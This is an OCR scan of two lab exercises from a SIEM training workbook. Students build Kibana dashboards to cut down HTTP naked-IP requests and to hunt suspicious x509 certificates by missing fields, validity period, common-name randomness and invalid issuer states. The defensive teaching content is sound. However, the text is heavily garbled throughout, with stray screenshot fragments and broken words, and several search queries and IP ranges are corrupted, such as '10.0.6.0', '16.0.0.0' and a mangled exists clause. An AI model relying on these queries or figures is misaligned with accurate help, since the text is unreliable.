Ruckets
li (o
113

T o

eh

dest ialir 1_geo s1.” vy

B

met © Count

Descer

T, +m

?&;L%?i

£

supoth

i
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[

For the bucket type, select Split Rows.
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the play button.

s anice

Epli. = 2

dest *  _geo.r " Nese gy ol o~

F

matrc Cont
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Descent ™~ 3 c
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Set Sub A gregation to Terms, Field to destination_geo.country_name.keyword, Size to 3, and Custom Label to Country. Then click

Terms -

The results should look like this:
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F Switch back to the Dashboard section.

P

IR

RIS

This should bring up the HTTP Dashboard previously built. Now, click on Edit.

Ll
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Save the visualization by clicking on Save. Set the Title to HTTP ASN and Country and then click on Save.
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| ~3.€ entt pe:http .ND (virtual_host. vmmor *or.testint” R _ _host!

" Next, click on Add.

/ Ed t ng HTTP Dashtoad
funs ~ed

5 SIS o | Save € ncel  Ace

o e'_dtypetto D irtual_host™ mmonitortest. & . virt ial

L
P
fﬁ!g

Add the two new visualizations you just created by clicking on HTTP AS and Country and HTTP aked IPs.

“isu lizatin ST

B et Ho.t

Drag the HTTP Default Saved Search below the two tables you just added. It should look like below.
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@timestamp
Methed per 3 hours
Virtual Host
= s GET pkiO1.testint 2017-03-11
o . ! 00:00
' i
: i ! GET pkiOt.testint 2017-03-14
i - 00:00
= ! GET vmmonitor.testint 2017-03-11
% ]
P R R Fah
HITPASN . £ HYTP =g iBg
<
Mo resulis found No results found
P s Jdse
1-50 0f 7,867 >
Change the search filter previously used to "log_event_type:http" and then click on search.
log_event_type:http
log_event_typ=:htt -
Also, hover over the previous source_ip filter and then click on the trash can icon to remove it.
.
Save the dashboard again by clicking on Save and then clicking on Save.
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/ & ung HTTP Dashboarg
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Now that the dashboard has been updated, it is time to see what naked IP requests there are. The question is about logs from 2017.
Change the search time to reflect this by clicking on the date picker and clicking on Absolute. Set the From date to 2017 and the To

date to 2018. Then click Go.

2817

2018
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With the current settings, only the HTTP Naked IPs visualization reflects events that are related to naked IPs. Also, the question only
pertains to events dealing with the IP address subnets of 192.168.2.0/24 and 10.0.0.0/24. To change this, set the search bar to
- "tags:naked_ip AND (source_ip:[192.168.2.0 TO 192.168.2.255] OR source_ip:[10.0.0.0 TO 10.0.0.255})".

f tags:naked_ip AND (source_ip:[192.168.2.0 TO 192.168.2.255] OR source_ip:[10.0.6.0 TO 0.0.0.255])

fagsinaked_ip AND (source ipf192.168.2.0 TO 192.768.2.255] OR source_ip[10.0.0.0 TO 10.0.0.255])

Looking at the HTTP Naked IPs visualization shows multiple Reverse DNS entries ending with nflxvideo.net. If you were to
investigate this, you would discover that this is traffic related to Netflix.

PR ————
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Also, looking at the HTTP AS  nd Country visualization shows au ix Streamii  Services Inc. with a count of 2,544. It also shows
an ASN for Fortinet Inc. Since the question states these subnets are going out to the internet using a Fortinet firewall, this is likely

expected traffic. Hover over the etflix Streaming Services Inc. and then click on the magnifying glass with the minus sign to
exclude it.

" C unt
Bt T4 mm5 csin O S SR |
~ rneting. o
Do the same for Fortit  Inc.
At -
Foi. ietine Q .anada
Fortinet Inc. ! d 5%1

At this point, over 90% of the naked IP requests have been filtered out. However, 67 events may still be too many remaining to treat
monitoring naked IP requests as effective. Yet more events can still be filtered. The highest remaining ASN is Amazon.com, Inc.
Reverse DNS entries show these are related to s3-1-w.amazonaws.com. This is Amazon's Amazon Web Service (AWS), which is for
cloud hosting. While www.amazon.com is likely trusted, AWS can be used for anything including attacks from adversaries.
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Look at the raw events in the saved search section. Find the first event related to s3-1w.amazonaws.com. Notice, the uri is for /
kindle-wifi/wifistub.htmi. In fact, it looks like these are the same for all s3-1w.amazonaws.com events. Expand the log and click on
the magnifying glass with the minus sign to exclude events related to /kindle-wifi/wifistub.html.

Lri Jindie- 14 Tfistub.bht 1

et 1

The next highest remaining ASN is Google Inc. Hover over the ASN of Google Inc. in the HTTP ASN and Country table and click on
the magnifying glass with the plus sign to filter in on it.

B
£

Country
~ngle LY The Tos
tez-= e = -l nds. V. therleds

The problem with Google is it also has cloud hosting. Filtering out the ASN of Google Inc. could mask attacks from a Google-hosted
cloud server. Looking at the HTTP Naked IPs table shows multiple naked IPs ending in 1e100.net.

Virte [ Host A rseD 'S

217,762, 3 « ' di0 2 -inf.4.1e1 3000t
17..217.4.11 o ns i g-in-f %,?;%{2?33 »f
216.58.192.. -« or s01- ‘;-ﬁéi,‘ée’tai& et

are30s22- 1, L lel(i.nst

216.58.216.78

ard30s21-, - 4.1210 .net

1e100.net is a Google-owned domain used to identify their servers. It is not malicious and not associated with cloud-hosted
servers. Thus, it can be used to filter out these Google events. To do so, update the search filter to include -reverse_dns:1e100.net
as follows:

tags:naked_ip AND (source_ip:[192,168.2.6 TO 192.168.2.255] OR source_ip:[16.0.0.0 TO 16.0.0.255]) -
reverse_dns:1el00.net

ﬁ tags:naked_ip AND (source_ip:[192.168.2.0 TO 192.168.2.255] OR source_ip:[10.0.0.0 TO 10.0.0.255]) -reverse_dns:1e100.net
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There are no logs shown after submitting the search. This is because all of the naked IP addresses dealing with Google Inc. are
related to 1e100.net. Remove the destination_geo.asn.keyword filter of Google Inc. by hovering over it and clicking on the: bage
can icon.

Full scree..  Share  Clone  Edit . uto-refresh . fanu v st

070 10.0.0. 55]) -reverse_dns:1e” 00.net

Using ASN and reverse DNS filtering narrows the remaining naked IP requests to 3 web servers and 11 events. This is much easier
for an analyst to handle.

Answer: Netflix Streaming Services Inc. and Fortinet Inc. were by far the two most used ASNs related to naked IP request.
However, both Google and Amazon were common as well. In regard to these companies, filtering can be done with either the ASN or
fields such as uri and reverse_dns. Because of cloud hosting filtering on uri and reverse, s may be a safer way to go. Using a
combination of these results in 3 virtual_hosts with a total of 11 events that require investigation.

Step-by-Step Video Instructions

Lab Eonolusion

In this lab, you have learned how to build out a tactical dashboard for inspecting HTTP traffic. This included:

* Learning the value of HTTP logs

* Understanding how basic log enrichment such as tactical reverse DNS lookups can aid in false positive reduction
+ Using Geo ASN information to identify the identity or business associated with a web server

* Analyzing user-agents and HTTP methods for signs of abnormal activity

* Breaking out HTTP status codes for signs of abnormal activity

Lab 2.2 is now com !
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Objectives

* Use standard HTTPS fields to find abnormal events

« Use log enrichment data to find malicious certificate use
« Discover certificates that are missing fields

« Identify attacker generated certificates

+ Learn to build and use visualizations and dashboards

- Exercise Preparation

Log into the Sec-555 VM

« Username: student

+ Password: sec555

Open Fir .fox by clic "ng on the Fir . ox icon in the top left corner of your student VM.

Then click on the Kibana bookmark in Firefox.

&« focal, st

. 2 = 1 ks e P B e gt

Note

This lab contains events from normal traffic as well as malicious traffic.
k
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Exercises B
Logs for this lab have already been ingested and are stored in index ' :2.2-com |  and have alog_ev .nt_i » of x5009.
To answer the questions below, use Ki ana. A dashboard has been created called L 2.3 — x509 Dashbo rd. This can be

used to help answer the questions below. All events took place between 2012 and 2018.

Attackers may use encryption to bypass security controls as well as to operate under the radar. However, analyzing
certificates provides a means to catch their activity. For example, adversaries may use random names, be lazy in filling out

certificate information, or accidentally enter invalid field data. This lab focuses on these types of events to show how easy
it is to catch.

First, click on Da h. oard to switch to the dashboard section.

If the dashboard selection screen is not displayed, click on D: _board.

r - L 22-HTTPD.- | e d

|
Iy

P
="

!
1
i

Load the Lab 2.3 - x509 Dashb- d by typing 2.3 in the filter section and then clicking on Lab 2.3 - x509 Dashbo rd.

SS. ?

2.3

E]
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Loading this dashboard sets the time for events between 2012 and the end of 2018.

Missing fields
Find all X509 events that are missing the issuer_organization field.

1. identify how many of these are tagged with top-1m. Of these events, are any malicious?

2. Identify how many events are not tagged with top-1m. Ignore any legitimate issuers identified in T1a and filter out
anything related to the internal domain of test.int. How many events remain?
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E3 Sof tion

The Lab 2.3 - x509 issir Fields visualization contains a breakdown of x509 where each column represents the number of events
missing certain fields. The second column represents events missing the issuer_or¢ niz jon field. Click on it to filter on only these

events.
f -
Fr ¢
- -
2.J
izicicfg.net 2.79
wnx.net 4. =

?pSS gnnet 4.
may3c.

et
et
gnig .. « 15
5f5° 2sd. et . C

gzhn 2. .com =, 5

This shows there are 35,424 x509 events where the issuer_organization field is missing. This is a lot of events. The question is,
which of these are from malicious traffic and which are from normal traffic. Next, search for tags:top-1m to see how many are

related to the top one million sites.

tags:top~lm

tags:to. - m -
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Only 200 events remain. However, looking at the Lab 2.3 — Most common Issuers visualization shows that the remaining issuers
= may be valid. The top entry is related to certificates issued from the internal domain test.int.

voTCer ...

~sunt
1
2 40
rer Authority i1

§ Hover over TS01.test.int in the Lab 2.3 - Most common Issuers visualization and click on the magnifying glass with the minus sign.

F

| r
15012 1

1T tiach

=

C mt |

25

Now there are only 52 events left. Look in the HTTPS saved search at the bottom of the dashboard. The first couple of events show
I Microsoft Secure Server Authority is for legitimate Microsoft domains.

wude 1o 12017,

¢ riifi = 1 OB N isstf_  fon o

®

vies  f_mmt _em

v ¢ Authorit

e ot rom .oat.ecure e o8 k. it
Ho3 11 I 5 by
4 o micre_ ficol - Secu._ oo tou it

% Filter Microsoft Secure Server Authority out by hovering over it in the Lab 2.3 — Most common Issuers visualization and then click
on the magnifying glass with the minus sign.
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This narrows the events down to 41. Yet looking at the first four x509 events within the saved search shows they are all for
legitimate domains. The domain intel.api.sc cefire.com is used by Sourcefire appliances, bir  com is Microsoft's search engine,

and live.com is another of Microsoft's domains. This means both VRT Certificate Authority and  3IT Machine Auth CA 2 can be
filtered, leaving 0 events.

Time ~ rti - n_p me issuer_ n .00 _g
aufeh 1R 2005 12708 L o intel Lsour~“re.com SRY - iy B ~uthemi
wa - 2M- 0070042 R - B
Pay 1 .3201 80107222 > bing cone g chine Au* . CA 2
o 21 1 70T str It 2 com ST hine ."uth CA "

Answer for 1a: 200 events exist that are tagged with top-1m and are missing the issuer_organization field. Some simple filtering
and analysis shows 0 of these are malicious.

Next, find out how many events are missing the issuer_org 1i- tion field that is not tagged with top-1m. To do this, remove all
filters except the query:"-_exists_:issuer_organization" filter by hovering over each of them and clicking on the garbage can icon.
Leave query:"-_exists_:issuer_organization" applied as a filter.

tags:top-1m Uses

Next, change tags:top-1m to -tags:top-1m.

-tags:top-1m
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< 7 top-'m R

This shows that there are 35,224 events that are not tagged with top-1m that are missing the issuer_organization field. The
question states to ignore anything related to test.int. To do this, edit the search to include -test.int. This will exclude x509 events
related to the internal domain test.int.

-tags:top-1m -test.int

CHRNY S S S -
| -tagsitop-1 n-testint

Note

There is a space between -tags:top-1m and -test.int.

This limits the number of events to 6,369. Looking at the Lab 2.3 - Most common Issuers visualization shows there are three
issuers with high counts. In this instance, a high count likely means benign.

% “ount
I uer
2st-P (01-CA 372
Vg e 2082
105-Self-L mad-Cer_ficate- . 240
§ 33806771

Hover over VMware and then click on the magnifying glass with the plus sign.
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test-P I01-CA 3,2 2
¥ oar - ;;g
105-5eif-Signed-Ce 6

E The resulting logs show the full certificate_issuer of these logs is as below:

certificate_issrer @ ™ e ail ress un JFe.Cco JCN=V  gre,QU=\ e,L=pale 1 o,C=US

' Given the high count of these logs and the layout of the issue, this is likely a self-signed certificate used by a VMware product.
* However, this should be confirmed with other logs.

'/' ot

This lab focuses solely on x509 certificate logs from Zeek. If you were to investigate these VMware events, they would be for a
self-signed default certificate that is non-malicious.

. Switch the issuer_common_1 me.keyword:"VMv re" to an exclude filter by hovering over it and clicking on the magnifying glass
with the minus sign.

to =t -, ~testint

This brings the count down to 4,163. The current highest Issuer is test-PKI0O1-CA. Hover over it and filter in on it by clicking on the
magnifying glass with the plus sign. Then investigate some of its logs.

5

[ S -1

10 5e.f-5 med-Ce
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The resulting logs show this is a certificate authority for the domain test.int. You can find this by looking at any of the logs for this
issuer in the saved search. Expand one of the evenis and look at the certificate_issuer field. it ends in DC=test,DC=int which is the
LDAP syntax for the domain test.int.

ertif c vt i7se CM=test-P T. ~-C ..

Q

Change the search filter for issuer_common_name.keyword:"test-PKI01-CA" to an exclusion by hovering over it and clicking on the
magnifying glass with the minus sign.

-ta top-im -testint

At this point, you should still have 2,216 events. The last remaining Issuer with a count over a hundred is 105-Self-Signed-
Certificate-3389677184. Filter on this by clicking on it.

Issur

1052 ~if-Sive -C itffice
7 s

Ww. !t ra 0 ovih

cmRF . Fo5F

Analyzing the first log shows the issuer and common name are the same. This indicates that it truly is a self-signed certificate.
However, the other fields do not pinpoint whether this is benign or malicious. An investigation into this would show it came from an
internal Ipad device and is benign.

Once more, change the recent filter to an exclusion event by hovering over it and clicking on the magnifying glass with a minus sign.

- stop-im-test 1t

fite

There are 1,342 events remaining. These have low counts and look suspicious. This means there are 1,342 events that would need
to be investigated. The reason for so many suspicious events is these logs come from malicious packet captures used for research
purposes.

Answer: There are 35,224 events that are not tagged with top-1m and are missing the issuer_organization field. After filtering out
items related to test.int, there are 4,422. If you filter out VMware and I0S related issuers, then the count is 1,342.
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Investigate validity date

Identify how many x509 events are related to certificates that are valid for more than 2,000 days.

1. Three of these are benign. Which ones are they?

2. Two are malicious or unknown. Which ones are they?

I Solution

- Remove the previous search filters by clicking on Dashbo d.

~ Le" 2.3- 509 Full ‘
-, Share Cl
Das wnas screen ‘
S L m -test
}

Then, search for 2.3 and click on Lab 2.3 - x509 Dashboard to reload the dashboard.

I
W

bk

f To find x509 events that are for certificates that are valid for more than 2,000 days, search for
certificate_number_days_' lid:>2000.

l certificate_number_days_valid:>2008

cortac e meer_t | .d 2,00 J

There are 4,078 results from this search, but only five issuers are present. The 10S-Self-Signed-Certificate-3389677184 was
deemed benign in step 1. This leaves four to investigate. Start by hovering over the issuer called support and clicking on the

magnifying glass with the plus sign.
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Expand the first log and look at the certificate_organization and certification_organization_unit fields.

certiricate_organiz tion g L Tortine

certi. cate_ . ie  dor_w i YN, B iGate

These are associated with Fortinet, which is the internal firewall. Change the issuer_common_name.keyword:"support" field to an
exclusion.

230800 F I
Da . wed 50 .

« . . lcate_number sval 2007

|

Next, click on the Primary Certificate Authority (2009) issuer.

e

|

e
o

| Count
fssuer

[E————
i

I -Self-signed- 874
Cert fica” =
3.,89677184

Proee o orlihice = 7
Athoric 7~ ¢

oz

Notice in the Lab 2.3 - Frequency Score of Common Name that the only domain found is for *.ncep.netflix.com. Since this is for
Netflix, it is likely benign.
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Common ame Q Frequency Score

*RCrF et e .m 0 1

Change the issuer_common_name.keyword:"Prim y Certificate Authority (2009)" field to an exclusion.

L 2.3-x509 Fulf _ . Tyt -
2 B Share Clone  Edit -~
Dast o d screen fresh

.

cerufic. e_numb _d ys v hd: 000

The only two issuers left to investigate are web and kin.pg »x.cc. First, click on web.

T un
st
1IC7-7 € 5 ed- T o=
Ce ificate-

T3856771 4

=g "t

k' .- .30.

Lock at any of the logs, and you will discover that both the certificate_issuer and certifi. te_su ject are the same. This means this
is a self-signed certificate. Looking at either of these fields shows that the certificate is very generic. Likely this is either the default

settings for a program that generates certificates or is used by an adversary using encryption.

a ¢ild ~te_isrer . o b, L= THce, 0= ra, Ltd, - ,5T=15 O
-5

certifi ate_s-b-ect € = <b.ou=of ice,0=Cu pan, _t.,L=N“,> =USa,C=US

The use of this certificate is unknown. The certificate could be benign but needs additional investigation to find out. Change
issuer_common_name.keyword:"web" to an exclusion.
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Now click on the remaining issuer of kin.pgsox.cc.

Cou ¢t
Fsur
i “if-7g ed- 87

Cer.. cate-

&

Looking at any of these logs shows multiple pieces of this certificate are wrong. For instance, look at the certificate_issuer field.

certiicate_isswer . « T .. kin.pgsox.<c.- -iladdress w =3<te~ -inpgsox.cc,0' »,0- ¥, t-% ,8T=x{,{--

It has each of the standard issuer fields, but they all are set to XX. A state of XX is not valid. This means this specific x509 event
could be caught with multiple techniques.

Answer: There are 4,078 events that have certificates valid for over 2,000 days. However, most of these are from legitimate x509
i certificates. These are support, I0S-Self-Signed-Certificate-3389677184, and Primary Certificate Authority (2009). Filtering these
out brings the count down to 35. These events are unknown or malicious and related to web and kin.pgsox.cc.

Frequency analysis

Identify potentially malicious sites using frequency analysis.

1. How many events have a certificate_common_name_frequency_score below 5?
2. How many of these are tagged with top-1m?
3. How many of these are tagged with top-1m and have a ¢ rtific .2_common_r me_length over 16?

4. How many of these are not tagged with top-1m and have a certificate_common_name_length over 16?
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I B .

Remove the previous search filters by clicking on Dashboard.

.,/ 1ab23-x" 9 Full chare I '
Do _hoord , Bre i w
' Dashbe d screen

-t sitc m-testint

Then, search for 2.3 and click on Lab 2.3 - x509 Dashboard to reload the dashboard.

97! !d

2.3

e

2. - F

£

Adversaries often use random names to evade security controls. This provides an opportunity to catch them. When using Mark
Baggett's freq_server.py in conjunction with your SIEM, the lower the frequency score, the more likely something is considered
random. Start by searching for any common name that has a frequency score below 5. Do this by searching for
“certificate_common_name_frequency_score:<5".

certificate_common_name_frequency_score:<5

by
[

¢~ - ficate_comm_ r-me_fre: yency_score<s

This search reveals that there are 1,141 events with a certificate_common_name_frequency_score below 5. To find out how many
of these are tagged with top-1m change the search filter to " certificate_common_name_frequency_score:<5 A Dta =:top-1m".

certificate_common_name_frequency_score:<5 AND tags:top-1lm

I certfic-te_com on_w ne_frequengy_ o.e<5AN 1t _stor-.m

2

Now there are only 123 events. From glancing at the common names in the Lab 2.3 - Frequency Score of Common Name
visualization, it seems that most of these are domains that are small in length. Unfortunately, frequency analysis sometimes does
not fit well with short strings. Fortunately, almost all small domain names have been purchased. Update your search so that it only
includes items with a length over 16 characters by changing it to " certificate_common_name_frequency_score:<5 AND
tags:top-1m AND certificate_common_name_length:>16".
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F certificate_common_name_frequency_score:<5 AND tags:top-1m AND certificate_common_name_length:>16

‘ § certi cate_co nmon_r (ne_frequency scorel 3 ND*sgsitop-im NDcert © e_commaon_name_length1

Now there are only 4 events matching. This is a manageable list of domains to investigate. However, being top-1m sites means you
typically can filter them out anyway. But what would the same search look like for sites that were not tagged with top-1m? To do
this, simply add a minus sign in front of tags:top-1m. Your search should be " certificate_common_name_frequency_score:<5 AND -
tags:top-1m AND certificate_common_name_ler. th:>16".

certificate_common_name_frequency_score:<5 AND —tags:top-1m AND certificate_common_name_length:>16

g

This search results in 933 events.

Answer: There are a total of 1,141 events where the certificate_common_1 me_frequency_score is below 5. Of these events, 1018
are from certificates that are not tagged with top-1m and 123 are tagged with top-1m. Further breaking these down, there were 933
out of the 1,018 none top-1m events that had a certificate_common_name_length greater than 16. top-1m tagged events only
contained 4 events with a certificate_common_name_length greater than 16.

l ote
4

There is a large amount of randomly generated names with a length over 16 characters. This is for two reasons. The first is to
1 avoid antivirus. A short string is easier to catch and write a signature for. The other reason is that most short domains have

been purchased. This lab was designed to show this by comparing the top 1 million sites against previously captured malware
- traffic.

TR
O

Invalid field data

Which two sites have an invalid US issuer_state field?

Solution

within the United States. To identify invalid US-based state fields, copy this search and enter it into the search bar and click search.

_exists_issuer_state AND issuer_country_code:US -issuer_state:"AL" -issuer_state:"AK" -issuer_state:"AZ" -issuer_state:"AR" -
issuer_state:"CA" -issuer_state:"CO" -issuer_state:"CT" -issuer_state:"DE" -issuer_state:"FL' -issuer_state:"GA" -issuer_state:"H!" -
issuer_state:"ID" -issuer_state:"[L" -issuer_state:"IN" -issuer_state:"|A" -issuer_state:"KS" -issuer_state:"KY" -issuer_state:"LA" -
issuer_state:"ME" -issuer_state:"MD" -issuer_state:"MA" -issuer_state:"MI" -issuer_state:"MN" -issuer_state:"MS" -issuer_state:"MO" -
issuer_state:"MT" -issuer_state:"NE" -issuer_state:"NV" -issuer_state:"NH" -issuer_state:"NJ" -issuer_state:"NM" -issuer_state:"NY" -
issuer_state:"NC" -issuer_state:"ND" -issuer_state:"OH" -issuer_state:"OK" -issuer_state:"OR" -issuer_state:"PA" -issuer_state:'RI" -

i The issuer_state field may include abbreviated state names or full state names. Therefore, there are 100 possible combinations

R
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issuer_state:"SC" -issuer_state:"SD" -issuer_state:"TN" -issuer_state:"TX" -issuer_state:"UT" -issuer_state:"VT" -issuer_state:"VA" -
issuer_state:"WA" -issuer_state:"WV" -issuer_state:"W!|" -issuer_state:"WY" -issuer_state:"Alabama" -issuer_state:"Alaska" -

- issuer_state:"Arizona" -issuer_state:"Arkansas" -issuer_state:"California" -issuer_state:"Colorado" -issuer_state:"Connecticut” -

issuer_state:"Delaware" -issuer_state:"Florida" -issuer_state:"Georgia” -issuer_state:"Hawaii" -issuer_state:"ldaho" -
issuer_state:"lllinois" -issuer_state:"Indiana” -issuer_state:"lowa" -issuer_state:"Kansas" -issuer_state:"Kentucky" -
issuer_state:"Louisiana” -issuer_state:"Maine" -issuer_state:"Maryland” -issuer_state:"Massachusetts" -issuer_state:"Michigan" -
issuer_state:"Minnesota" -issuer_state:"Mississippi” -issuer_state:"Missouri" -issuer_state:"Montana" -issuer_state:"Nebraska’ -
issuer_state:"Nevada" -issuer_state:"New Hampshire" -issuer_state:"New Jersey" -issuer_state:'New Mexico" -issuer_state:"New
York" -issuer_state:"North Carolina” -issuer_state:"North Dakota" -issuer_state:"Ohio" -issuer_state:"Oklahoma” -issuer_state:"Oregon”

. -issuer_state:"Pennsylvania” -issuer_state:"Rhode Island" -issuer_state:"South Carolina” -issuer_state:"South Dakota" -
 issuer_state:"Tennessee" -issuer_state:'Texas' -issuer_state:"Utah" -issuer_state:"Vermont" -issuer_state:"Virginia® -
- Issuer_state:"Washington" -issuer_state:"West Virginia" -issuer_state:"Wisconsin" -issuer_state:"Wyoming"

_exists_:issuer_state AND -issuer_country_codé:US —issuer_state:"AL" -issuer_state:"AK" -issuer_state:"AZ" -
issuer_state:"AR" —issuer_state:"CA" —issuer_state:"CO" —issuer_state:"CT" -issuer_state:"DE" -
jssuer_state:"FL" -issuer_state:"GA" —issuer_state:"HI" —issuer_state:"ID" -issuer_state:"IL" -
issuer_state:"IN" -issuer_state:"IA" -issuer_state:"KS" -issuer_state:"KY" -issuer_state:"LA" -
issuer_state:"ME" -issuer_state:"MD" —issuer_state:"MA" —issuer_state:"MI" -issuer_state:"MN" -
issuer_state:"MS" -issuer_state:"MO" —~issuer_state:"MT" —issuer_state:"NE" -issuer_state:"Ny" -
issuer_state:"NH" -issuer_state:"NJ" —issuer_state:"NM" -issuer_state:"NY" -issuer_state:"NC" -
issuer_state:"ND" -issuer_state:"OH" —issuer_state:"OK" —issuer_state:"OR" —issuer_state:"PA" -
issuer_state:"RI" -issuer_state:"SC" —issuer_state:"SD" +ssuer_state:"TN" dissuer_state:"TX" -
issuer_state:"UT" -issuer_state:"VT" —issuer_state:"VA" —issuer_state:"WA" —issuer_state:"Wv" -
issuer_state:"WI" —issuer_state:"WY" —issuer_state:"Alabama” -issuer_state:"Alaska" —issuer_state:"Arizona" -
issuer_state:"Arkansas" —issuer_state:"California" —issuer_state:"Colorado" —issuer_state:"Connecticut™ —
issuer_state:"Delaware" —issuer_state:"Florida" —issuer_state:"Georgia" -issuer_state:"Hawaii" —
issuer_state:"Idaho" —issuer_state:"I1linois" -issuer_state:"Indiana" -issuer_state:"Iowa" -
issuer_state:"Kansas" -issuer_state:"Kentucky" -issuer_state:"Louisiana" -issuer_state:"Maine" -
issuer_state:"Maryland" —issuer_state:"Massachusetts" —issuer_state:"Michigan” —issuer_state:"Minnesota" -

issuer_state;"Mississippi” -issuer_state:"Missouri™ —issuer_state:"Montana" -issuer_state:"Nebraska" -
issuer_state: "Nevada" —issuer_state:"New Hampshire“ —issuer_state:"New Jersey” —issuer_state:"New Mexico" -
issuer_state:"New York"” -issuer_state:"North Carolina" -issuer_state:"North Dakota" -issuer_state:"Chio" -
issuer_state:"Oklahoma" -issuer_state:"Oregon" -issuer_state:"Pennsylvania" —issuer_state:"Rhode Island" -
issuer_state:"South Carolina" -issuer_state:"South Dakota" -issuer_state:"Tennessee" -issuer_state:"Texas" -
issuer_state:"Utah" —issuer_state:"Vermont" -issuer_state:"Virginia" —issuer_state:"Washington" -
“issuer_stater"West Virginia” —issuer_state:"Wisconsin® —issuer_state!"Wyoming"
Auto- , b aary st20:2,00: 0,0, "0tojanu. . t~. 8
. N
ref _ 1 00, 20,000

Virgit ‘'a -’ssuer_st fer™*"s onsin' - ssuer_sta.e” " joming 'Y 1«

c nm— — — = - - o

Answer: Common ame (e.g.[ YOUR name) and web are the two sites with an invalid issuer_state field. A likely hypothesis is that
these were default settings for a program used to create certificates.

Step-by-Step Video Instructions
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Lab Conclusion

In this lab, you have learned how to use a tactical dashboard for inspecting HTTPS traffic. This included:

* |dentifying and analyzing seif-signed certificates

+ Identifying malware use of randomly generated SSL certificates

* Learning ways to use a top one million ranking and common name length checks to reduce false positives
* Verifying certificate information contains valid information

* Finding other ways malware can be discovered when using encryption such as not filling out certain fields

Lab 2.3 is now complete!
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